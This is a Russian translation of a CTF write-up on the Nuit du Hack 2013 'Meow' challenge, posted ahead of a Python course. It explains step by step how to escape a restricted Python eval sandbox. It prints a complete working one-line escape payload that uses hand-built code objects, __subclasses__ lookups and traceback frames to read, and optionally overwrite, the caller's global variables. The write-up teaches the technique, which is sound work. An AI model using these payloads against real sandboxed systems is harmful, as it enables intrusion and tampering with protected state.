В преддверии старта курса «Python Developer. Professional» подготовили перевод пусть и не самой новой, но от этого не менее интересной статьи. Приятного прочтения!





Вчера прошел отборочный тур Nuit du Hack CTF 2013. Как обычно, в нескольких заметках я расскажу об интересных заданиях и/или решениях этого CTF. Если хотите узнать больше, мой товарищ по команде w4kfu также должен в скором времени опубликовать заметки в своем блоге.

TL;DR:


auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())


Одно из заданий, которое называется «Meow», предлагает нам удаленный ограниченный shell с Python, где отключено большинство встроенных модулей:

{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}

Было доступно несколько функций, а именно kitty(), которая выводила изображение кошки в ASCII, и auth(password). Я предположил, что нам нужно обойти аутентификацию и найти пароль. К сожалению, наши команды на Python передаются в eval в expression-режиме, а это значит, что мы не можем использовать ни один оператор: ни оператор присваивания, ни печати, ни определения функций/классов и т.д. Ситуация усложнилась. Нам придется использовать магию Python (в этой заметке ее будет много, обещаю).

Сначала я предположил, что auth просто сравнивает пароль с константной строкой. В таком случае я мог бы использовать кастомный объект с измененным __eq__ таким образом, чтобы всегда возвращать True. Однако нельзя просто взять и создать такой объект. Мы не можем определить собственные классы через класс Foo, поскольку мы не можем изменить уже существующий объект (без присваивания). Именно тут и начинается магия Python: мы можем напрямую инстанциировать объект типа для создания объекта класса, а затем создать экземпляр этого объекта класса. Вот как это делается:

type('MyClass', (), {'__eq__': lambda self: True})

Однако здесь мы не можем использовать тип, он не определен во встроенных модулях. Мы можем использовать другой фокус: у каждого объекта Python есть атрибут __class__, который дает нам тип объекта. Например, ‘’.__class__ это str. Но что более интересно: str.__class__ — это тип. Значит мы можем использовать ''.__class__.__class__, чтобы создать новый тип.

К сожалению, функция auth не просто сравнивает наш объект со строкой. Она производит с ним много других операций: разрезает его на 14 символов, берет длину через len() и вызывает reduce со странной лямбдой. Без кода сложно догадаться, как сделать объект, который ведет себя так, как хочет функция, а гадать я не люблю. Нужно больше магии!

Добавим объекты кода. На самом деле функции в Python также являются объектами, которые состоят из объекта кода и захвата их глобальных переменных. Объект кода содержит байт-код этой функции и константные объекты, на которые она ссылается, некоторые строки, имена, и другие метаданные (количество аргументов, количество локальных объектов, размер стека, отображение байт-кода в номер строки). Вы можете получить объект кода функции с помощью myfunc.func_code. В режиме restricted интерпретатора Python это запрещено, поэтому мы не можем увидеть код функции auth. Однако мы можем создавать собственные функции также, как мы создали собственные типы!

Вы можете спросить, зачем использовать объекты кода для создания функций, когда у нас уже есть лямбда? Все просто: лямбды не могут содержать операторов. А случайные созданные функции могут! Например, мы можем создать функцию, которая выводит свой аргумент в stdout:

ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42

Однако здесь есть небольшая проблема: чтобы получить тип объекта кода, нужно получить доступ к атрибуту func_code, который ограничен. К счастью, мы можем применить чуть больше магии Python, чтобы найти наш тип без доступа к запрещенным атрибутам.

В Python объект типа имеет атрибут __bases__, который возвращает список всех его базовых классов. Он также имеет метод __subclasses__, который возвращает список всех типов, наследуемых от него. Если мы используем __bases__ на случайном типе, мы можем достичь вершины иерархии типов (object type), а затем прочитать подклассы object, чтобы получить список всех типов, определенных в интерпретаторе:

>>> len(().__class__.__bases__[0].__subclasses__())
81

Затем мы можем использовать этот список для поиска наших типов function и code:

>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>

Теперь, когда мы можем построить любую функцию, которую мы хотим, что мы можем сделать? Мы можем напрямую получить доступ к неограниченным встроенным файлам: функции, которые мы создаем, все еще выполняются в restricted-среде. Мы можем получить не изолированную функцию: функция auth вызывает метод __len__ объекта, который мы передаем в качестве параметра. Однако этого недостаточно, чтобы сбежать из песочницы: наши глобальные переменные все те же, и мы не можем, например, импортировать модуль. Я пытался посмотреть на все классы, к которым мы могли получить доступ с помощью __subclasses__, чтобы увидеть, сможем ли мы получить ссылку на полезный модуль через него, но безрезультатно. Даже получить вызов одной из наших созданных функций через реактор оказалось недостаточно. Мы могли бы попытаться получить traceback-объект и использовать его для просмотра фреймов стека вызывающих функций, но единственный простой способ получить traceback-объект – сделать это через модули inspect или sys, которые мы не можем импортировать. После того, как я запнулся на этой задаче, я переключился на другие, много спал и проснулся с нужным решением!

На самом деле есть еще один способ получить traceback-объект в Python без использования стандартной библиотеки: context manager. Они были новой функцией в Python 2.6, которая позволяет получать своего рода объектно-ориентированную область видимости в Python:

class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>

Мы можем создать объект context manager, который будет использовать traceback-объект, переданный в __exit__, для отображения глобальных переменных вызывающей функции, которая находится за пределами песочницы. Для этого мы используем комбинации всех наших предыдущих фокусов. Мы создаем анонимный тип, определяющий __enter__ как простую лямбду и __exit__ как лямбду, которая обращается к тому, что мы хотим в трассировке, и передает его в нашу выводимую лямбду (помните о том, что мы не можем использовать операторы):

''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()

Нам нужно копнуть глубже! Теперь нам нужно использовать этот context manager (который мы будем называть ctx в следующих фрагментах кода) в функции, которая будет целенаправленно вызывать ошибку в блоке with:

def f(self):
    with ctx:
        raise 42

Затем поместим f в качестве __len__ нашего созданного объекта, который мы передаем в функцию auth:

auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())

Обратимся к началу статьи и вспоминаем про «реальный» встроенный код. При запуске на сервере это приводит к тому, что интерпретатор Python запускает нашу функцию f, проходит через созданный context manager __exit__, который будет обращаться к глобальным переменным нашего вызывающего метода, где есть два интересных значения:

'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'

Два флага?! Оказывается, один и тот же сервис использовался для двух идущих друг за другом заданий. Double kill!

Чтобы еще повеселиться, получив доступ к глобальным переменным, мы можем сделать больше, чем просто чтение: мы можем изменять флаги! С помощью f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' }) флаги изменятся до следующего перезапуска сервера. По-видимому, организаторы такого не планировали.

В любом случае, я до сих пор не знаю, как мы должны были по-нормальному решить эту задачу, но я думаю, что такое универсальное решение – хороший способ познакомить читателей с черной магией Python. Пользуйтесь ей осторожно, легко заставить Python делать сегментацию с помощью созданных объектов кода (использование интерпретатора Python и запуск шелл-кода x86 через созданный байт-код остается задачей читателя). Спасибо организаторам Nuit du Hack за красивую задачу.



Читать ещё